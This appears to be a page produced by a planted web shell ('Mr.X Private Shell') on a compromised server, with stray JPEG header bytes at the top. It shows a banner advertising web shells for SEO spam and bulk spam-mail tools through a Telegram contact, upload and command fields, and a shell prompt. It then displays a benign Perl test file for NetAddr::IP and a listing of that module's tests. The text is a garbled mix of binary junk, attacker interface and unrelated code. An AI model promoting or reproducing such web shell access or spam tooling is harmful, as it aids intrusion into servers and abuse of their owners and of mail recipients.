����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use Test::More;

if (defined($ENV{LIGHTERIPTESTS}) and $ENV{LIGHTERIPTESTS} =~ /yes/i) {
    print "1..0 # Skipped: LIGHTERIPTESTS = yes\n";
    exit 0;
}

plan tests => 21;

die "# Cannot continue without NetAddr::IP\n"
    unless use_ok('NetAddr::IP', 'Coalesce');

# Test a rather large set...

my @ips = ();

for my $o (0 .. 255)
{
    push @ips, new NetAddr::IP "10.0.$o.1";
    push @ips, new NetAddr::IP "10.0.$o.10";
    push @ips, new NetAddr::IP "10.0.$o.100";
}

sub tst {
# This should return the empty list...
  my $r = Coalesce(24, 4, @ips);
  diag "Coalesce returned $r"
    unless isa_ok($r, 'ARRAY', 'Return type from Coalesce');
  is(@$r, 0, "Empty array returned as expected");

# This should produce a list with all the /24s
  $r = Coalesce(24, 2, @ips);
  diag "Coalesce returned $r"
    unless isa_ok($r, 'ARRAY', 'Return type from Coalesce');
  is(@$r, 256, "Whole result set as expected");
  my @c = NetAddr::IP::Compact(@$r);
  is(@c, 1, "Results are compactable");
  ok($c[0] eq '10.0.0.0/16', "Correct results");

# This should produce the same result as before, with an added /23
  $r = Coalesce(24, 2, @ips, NetAddr::IP->new('10.0.0.125/23'));
  diag "Coalesce returned $r"
    unless isa_ok($r, 'ARRAY', 'Return type from Coalesce');
  ok((grep { $_ eq '10.0.0.0/23' } @$r), "/23 went through");
  @c = NetAddr::IP::Compact(@$r);
  is(@c, 1, "Results are compactable");
  ok($c[0] eq '10.0.0.0/16', "Correct results");
}

tst();

import NetAddr::IP qw(:old_nth);

tst();

Filemanager

Name Type Size Permission Actions
canon.t File 480 B 0644
constants.t File 488 B 0644
full.t File 721 B 0644
full6-uri.t File 727 B 0644
full6.t File 721 B 0644
imhoff.t File 873 B 0644
loops.t File 647 B 0644
lower.t File 220 B 0644
masklen.t File 345 B 0644
new-store.t File 812 B 0644
nofqdn.t File 437 B 0644
old-store.t File 841 B 0644
over-arr.t File 500 B 0644
over-qq.t File 800 B 0644
relops.t File 1.53 KB 0644
rfc3021.t File 627 B 0644
short.t File 1.7 KB 0644
splitref.t File 749 B 0644
v4-coalesce.t File 1.47 KB 0644
v4-compact.t File 2.18 KB 0644
v4-compplus.t File 531 B 0644
v4-hostenum.t File 1.02 KB 0644
v4-re.t File 826 B 0644
v4-split-bulk.t File 547 B 0644
v4-split-list.t File 1.17 KB 0644
v4-splitplan.t File 2.23 KB 0644
v4-sprefix.t File 779 B 0644
v4-xprefix.t File 773 B 0644
v6-re.t File 1.42 KB 0644
v6-split-bulk.t File 513 B 0644
v6-splitplan.t File 2.35 KB 0644
wildcard.t File 546 B 0644